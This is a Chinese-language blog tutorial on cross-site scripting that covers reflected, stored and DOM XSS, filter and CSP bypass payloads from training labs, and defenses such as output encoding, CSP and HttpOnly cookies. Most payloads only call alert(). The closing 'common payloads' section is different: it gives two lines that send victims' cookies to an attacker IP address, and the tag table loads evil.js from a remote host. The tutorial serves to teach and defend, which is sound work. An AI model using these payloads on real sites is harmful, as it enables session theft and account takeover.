XSS漏洞的原理&利用&防御

一、前言

XSS 的本质是一种高级钓鱼手法。

二、什么是 XSS

XSS (Cross Site Scripting) 攻击全称跨站脚本攻击,是为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS。

XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到提供给其它用户使用的页面中。

XSS 的运行原理是将恶意的 script 脚本插入进 html/css/js 文件当中。代码长这样:

三、XSS 的危害

前文我们说 XSS 本质上来说是一种钓鱼攻击,所以 XSS 的危害角度上也是以钓鱼能够造成的危害为主。

四、XSS 简单应用场景举例

这里先介绍 XSS 的应用方法,如此一来讲起来不会太空洞,也能与下面的攻击手段有所呼应。以反射型 XSS 为例,原理图如下。

这里借用国光师傅的图片进行分析

这是一个恶意的 QQ 空间钓鱼网站,在输入框内输入username%20<script>alert(document.cookie)</script>,再对登陆的按钮设置一个 href 到真正的 QQ 空间官网。然而当时用户输入的用户名密码已经被攻击者窃取了。

五、XSS 基本攻击手段

XSS 根据效果不同主要分为三种类型

反射型 XSS,存储型 XSS,DOM 型 XSS

危害性来说,存储型 XSS >> 反射型 XSS ~= DOM 型 XSS

我们接下来细讲一下这三种 XSS 的攻击手段。

(一) 反射型 XSS 及绕过手段

什么是反射型 XSS

反射型 XSS,也叫非持久型 XSS,转瞬即逝。

利用比较简单,比如在搜索框中,我记得当时 2020 年,b 站的搜索框还是存在 XSS 的,现在没有了。

反射型 XSS 的 Payload 如下:

<script>alert(1)</script>

效果如图所示:

绕过

当大多数标签被禁止时的绕过

Lab: Reflected XSS into HTML context with most tags and attributes blocked

还是常规的 Fuzz 测试,在尝试 XSS 攻击之后,若失败了就进行 Fuzz 测试,因为无法排除是不是 WAF 过滤了部分关键字。

探测出来 onresize 标签还是有效的,我们可以通过这一串 Payload 唤起打印服务:

<body onresize=print()>" onload=this.style.width='100px'>

当事件处理器与 href 被禁用时的绕过

老样子还是需要 Fuzz 的。如果渗透测试真正遇到这种情况的话,svg标签的绕过方式还是主流。

Lab: Reflected XSS with event handlers and href attributes blocked

Payload:

<svg>
    <a>
        <animateattributeName=href
                              values=javascript:alert(1) />
        <textx=20y=20>Click me</text>
    </a>

还有一些svg标签的绕过手段:

<svg><animatetransform onbegin=alert(1)>

对 script 进行闭合后构造 Payload

对某些语句中的符号进行闭合。

有些 Web 后端代码会通过反斜杠转义,对很多单引号字符进行过滤,那么转义之后的代码就不能进行原 Payload 的作用。

XSS Insert Into-> JavaScript

这种 Payload 可以是通过修改 Web 网站内部 JavaScript 来实现的,因为 JavaScript 本身就可以直接执行 alert 方法,无需使用<script>标签。

一般的 Payload:

'-alert(document.domain)-'

';alert(document.domain)//

绕过 CSP 攻击

  • CSP:content security policy,比较严格的防御 XSS 手段。
  • 它一般在 HTTP 包里面长这样

  • CSP通过这样的指令限制只能加载与页面本身相同来源的资源:script-src 'self'

通过指令限制只能从指定域中加载资源:script-src <https://scripts.normal-website.com>

但是这种允许外部域的做法还是有风险的,如果攻击者可以向其传递恶意脚本也会遭到攻击的。而且应该也同时不信任来自 CDN 的资源,因为也有被投放的风险。CSP 还通过随机数和哈希值来指定可信资源。

  • CSP 的指令指定一个随机数,加载脚本的标签也必须有相同的随机数。否则就不执行该脚本。并秉持一次性的原则,避免被猜解。
  • CSP 指令可以指定脚本内容的哈希值。不匹配也是不会执行的。
绕过方式一:悬空标记攻击

这种和闭合语句的攻击差不多。

虽然 CSP 通常可以阻止脚本,但是经常不会禁止加载图片资源,这就导致可以利用img标签窃取 CSRF 令牌。

有些浏览器比如 chrome,就有内置的悬空标记缓解功能,这个功能可以阻止包含某些字符的请求,比如换行符、未编码的新一行符或者尖括号。还有一些策略更为严格,可以防止所有形式的外部请求。

但是还是可以通过注入一个 HTML 元素,点击该元素就会将该元素包含的所有内容发送到外部服务器的方式绕过这种策略,这里感觉有点像点击劫持攻击。

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

首先观察一下修改邮箱的表单要提交哪些信息

接着利用悬挂标记攻击将 CSRF Token 窃取出来,所以我们这样构造 Payload

再然后用 CSRF 盗用 token,再发包即可。

绕过方式二:对 CSP 限制不严格的情况下攻击

CSP 是有设置的,若base-url为空的话,可以通过 token 值来添加新的 CSP 指令。

Payload:<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

使用script-src-elem对 CSP 进行覆盖,从而进行 XSS 攻击。

(二)存储型 XSS

存储型 XSS 是危害性最大的 XSS 了,它一般出现于评论留言功能处,大致的利用方法与绕过手段与反射型 XSS 很像,原理图如下。

如果执行起来也是插入进上下文标签当中,和之前反射型 XSS 的代码图类似,都是没有加任何的过滤手段,如图。

在新增的评论中将 username 构造成 Payload:

username=<script>alert(1)</script>

而这一条评论,又会被保存到数组或者是数据库当中(这个看 Web 程序的设计),就造成了存储型 XSS。

绕过手段不再逼逼,和反射型 XSS 是异曲同工。

DOM 型 XSS

DOM 型的 XSS 是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。说白了就是那些标签,比如img,input等这种类型的 DOM 节点标签而已,而 DOM 型 XSS 打的就是这些。

注:DOM 型 XSS 与反射型,存储型 XSS 有很大的区别,比如dom型是在浏览器的前端产生的漏洞,没有数据发到服务器,而其他两个都要发送数据到服务器。

一些常用的标签与属性:

注:下面列举的标签大部分是可以自动触发 js 代码的,无需用户去交互,大部分情况下希望是自动触发而不是等用户去触发。

标签 说明 Payload
scirpt <script>标签用于定义客户端脚本,比如 JavaScript。 <script>alert(1);</script><script>alert("xss");</script>
img <img>标签定义 HTML 页面中的图像。 <img src=1 onerror=alert(1);><img src=1 onerror=alert("xss");>
input <input>标签规定了用户可以在其中输入数据的输入字段。
说明 Payload
onfocus 事件在对象获得焦点时发生 <input onfocus=alert(1);>
竞争焦点,从而触发 onblur 事件 <input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时<input>元素应该自动获得焦点。可以通过 autofocus 属性自动执行本身的 focus 事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert(1);" autofocus>
details <details>标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。
说明 Payload
ontoggle 事件规定了在用户打开或关闭<details>元素时触发 <details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发 <details open ontoggle=alert(1);>
svg <svg>标签用来在HTML页面中直接嵌入SVG 文件的代码 <svg onload=alert(1);>
select <select>标签用来创建下拉列表。

<select onfocus=alert(1)></select>

说明 Payload
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <select onfocus=alert(1) autofocus>
iframe <iframe>标签会创建包含另外一个文档的内联框架 <iframe onload=alert(1);></iframe>
video <video>标签定义视频,比如电影片段或其他视频流 <video><source onerror=alert(1)>
audio <audio>标签定义声音,比如音乐或其他音频流 <audio src=x onerror=alert(1);>
body <body>标签定义文档的主体

<body onload=alert(1);>

说明 Payload
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及 autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<bodyonscroll=alert(1);><br>

<br>

<br>

<br>

<br>

<br>

<br>

<input autofocus>

textarea <textarea>标签定义一个多行的文本输入控件 <textarea onfocus=alert(1); autofocus>
keygen - <keygen autofocus onfocus=alert(1)> //仅限火狐
marquee - <marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
isindex <link>标签定义文档与外部资源的关系。在无 CSP 的情况下才可以使用 <link rel=import href="http://47.xxx.xxx.72/evil.js">

DOM 型 XSS 的利用

(1) jQuery 中的 DOM 型 XSS

有问题的代码如下图所示

若为进行任意过滤的时候 Payload:<img src=1 onerror=alert(1)>

(2) 利用遗留下的测试代码

详见WebGoat代码审计-07-XSS 利用测试代码触发 DOM 型 XSS)

六、CSRF 和 XSS 的区别

1、CSRF是跨站请求伪造; XSS是跨域脚本攻击。

2、CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。

3、CSRF是利用网站A本身的漏洞,去请求网站A的api; XSS是向网站A注入JS代码,然后执行JS里的代码,篡改网站A的内容。(XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。)

七、XSS 的防御

1.对输出端的数据进行编码

2.验证输入

对输出端的数据进行编码

  • 将一些字符进行转义,例如<,>进行转义

  • 白名单,通过一些标签限制

  • 不要把后端传进来的数据直接作为 HTML 渲染,进行处理

CSP 的应用

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。

  • 禁止内联脚本执行。

  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

其他安全措施

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

验证码:防止脚本冒充用户提交危险操作。

常用payload

将受害者的cookie发送到攻击者服务器

<img src=1 onerror="setInterval(() => {fetch('http://10.13.82.5:8088?cookie=' + document.cookie, {method: 'GET'});}, 6000);">

<script>var i=new Image();i.src="http://10.13.82.5:8088?cookie=" + btoa(document.cookie);</script>
posted @ 2025-12-02 09:23  shinianyunyan  阅读(526)  评论(0)    收藏  举报